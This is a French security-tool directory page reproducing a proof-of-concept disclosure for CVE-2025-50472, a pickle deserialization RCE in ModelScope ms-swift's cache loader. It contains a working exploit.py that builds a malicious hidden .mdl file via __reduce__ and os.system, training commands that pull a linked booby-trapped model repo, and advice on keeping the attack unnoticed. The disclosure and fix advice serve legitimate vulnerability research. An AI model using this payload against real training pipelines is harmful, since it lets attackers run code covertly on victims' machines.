Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-50472 — Exploit de preuve de concept pour CVE-2025-50472, une vulnérabilité de RCE par désérialisation dans le ModelFileSystemCache de ModelScope ms-swift via des fichiers .mdl malveillants. | Kitploit
Outils/GitHubGitHub/before-rain/cve-2025-50472
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionDéveloppement de Charges Utiles
GitHubbefore-rain/cve-2025-50472

CVE-2025-50472

Exploit de preuve de concept pour CVE-2025-50472, une vulnérabilité de RCE par désérialisation dans le ModelFileSystemCache de ModelScope ms-swift via des fichiers .mdl malveillants.

Voir le dépôt
1il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-50472

ModelScope Ms-Swift ModelFileSystemCache : Vulnérabilité d'exécution de code à distance via la désérialisation de données non fiables

PoC RCE

J'ai téléchargé un dépôt de code contenant un fichier .mdl malveillant sur ModelScope à des fins de test. Il peut être utilisé directement lors des tests. Le lien est : https://www.modelscope.cn/models/HaoFan2024/ms-swift-test-fanhao/files

image

Le fichier .mdl contient du code malveillant intégré, mais aucun avertissement de sécurité n'est affiché sur ModelScope.

Code PoC:

root@kitploit:~
# Set up the environment
pip install ms-swift==2.6.1
pip install -r framework.txt # This requirements file is included in the modelscope/ms-swift repository
# When using the remote repository HaoFan2024/ms-swift-test-fanhao, the `.mdl` file will be downloaded directly.
# During model loading, the `.mdl` file is loaded using `pickle.load`, leading to Remote Code Execution (RCE).
CUDA_VISIBLE_DEVICES=0 swift sft \
    --model_type qwen1half-0_5b-chat \
    --model_id_or_path=HaoFan2024/ms-swift-test-fanhao \
    --dataset blossom-math-zh \
    --num_train_epochs 5 \
    --sft_type lora \
    --output_dir output \
    --eval_steps 200

La procédure pour reproduire le problème est la suivante :

  1. Le modèle est téléchargé

    p1
  2. Après l'exécution du code malveillant, l'entraînement se déroule normalement sans interruption

    image
  3. La charge utile malveillante est exécutée avec succès

    image

1. Aperçu général et effets de la vulnérabilité :

La bibliothèque modelscope/ms-swift jusqu'à la version 2.6.1 est vulnérable à l'exécution de code arbitraire via la désérialisation de données non fiables dans la fonction load_model_meta() de la classe ModelFileSystemCache(). Les attaquants peuvent exécuter du code et des commandes arbitraires en créant une charge utile .mdl sérialisée malveillante, exploitant l'utilisation de pickle.load() sur des données provenant de sources potentiellement non fiables. Cette vulnérabilité permet une exécution de code à distance (RCE) en trompant les victimes pour qu'elles chargent un point de contrôle apparemment inoffensif lors d'un processus d'entraînement normal, permettant ainsi aux attaquants d'exécuter du code arbitraire sur la machine cible.

Notez que le fichier de la charge utile est un fichier caché, ce qui rend difficile la détection de la falsification par la victime. Plus important encore, pendant le processus d'entraînement du modèle, après le chargement du fichier .mdl et l'exécution du code arbitraire, le processus d'entraînement normal reste inchangé, ce qui signifie que l'utilisateur reste ignorant de l'exécution du code arbitraire.

2. Le produit vulnérable

  • Produit : modelscope ms-swift
  • Module : ModelFileSystemCache
  • Fichier : swift/hub/utils/caching.py
  • Version : <=2.6.1
  • Lien permanent GitHub : https://github.com/modelscope/ms-swift/blob/ab38bff0387a86fd9f068246c326ee7b0d5ed139/swift/hub/utils/caching.py#L141

3. Analyse de la cause racine

  • Description détaillée de la vulnérabilité : La vulnérabilité résulte d'une désérialisation non sécurisée de données non fiables. Le script utilise pickle.load pour charger le fichier de cache caché et est vulnérable à l'exécution de code.

  • Flux de code depuis l'entrée jusqu'à la condition vulnérable :

    • Pendant l'entraînement du modèle, l'utilisateur a utilisé la méthode de téléchargement par défaut pour obtenir un modèle depuis ModelScope. Le modèle était stocké sous le chemin ~/.cache/modelscope/hub/xx/xx, où un fichier de cache .mdl était présent dans le répertoire du modèle, contenant des informations de base telles que le nom du modèle.
    • L'utilisateur a ensuite utilisé le modèle téléchargé pour un réglage fin ou d'autres procédures d'entraînement.
    • Lorsque le script caching.py a désérialisé le fichier .mdl, le code malveillant intégré dans le fichier a été exécuté.
  • Point d'injection : La vulnérabilité se produit au point où pickle.load est appelé. Lien permanent GitHub : https://github.com/modelscope/ms-swift/blob/ab38bff0387a86fd9f068246c326ee7b0d5ed139/swift/hub/utils/caching.py#L141

  • Correctifs suggérés : Lors du traitement des fichiers de configuration (plutôt que des fichiers de modèle), il est recommandé d'adopter des méthodes d'analyse de fichiers plus sûres, telles que yaml.safe_load(yaml_file) ou json.load, pour atténuer le risque d'exécution de code arbitraire.

4. PoC

  1. Exécutez exploit.py pour créer un fichier de cache malveillant .mdl qui créera un répertoire sur le système de la victime :
root@kitploit:~
# exploit.py

import pickle  
import os   
  
class Exploit:  
    def __reduce__(self):  
        return (os.system, ('mkdir HACKED',))  

# .mdl
data = pickle.dumps(Exploit())
with open('.mdl', 'wb') as f:
    f.write(data)
  1. Remplacez le fichier .mdl d'origine dans le répertoire du modèle par le fichier malveillant généré ci-dessus.

  2. Lorsque le paramètre model_id_or_path est spécifié lors de l'entraînement pour référencer un répertoire de modèle local, un fichier .mdl falsifié dans le chemin spécifié peut entraîner une exécution de code à distance (RCE). Important, une telle modification ne perturbe pas le flux de travail d'entraînement normal, rendant l'attaque RCE furtive et difficile à détecter pour les utilisateurs.

root@kitploit:~
CUDA_VISIBLE_DEVICES=0 swift sft     --model_type qwen1half-0_5b-chat --model_id_or_path=/root/.cache/modelscope/hub/qwen/Qwen1___5-0___5B-Chat     --dataset blossom-math-zh     --num_train_epochs 5     --sft_type lora     --output_dir output     --eval_steps 200

Auteur

Hao Fan(凡浩) et Yu Rong(戎誉)

Télécharger l’outil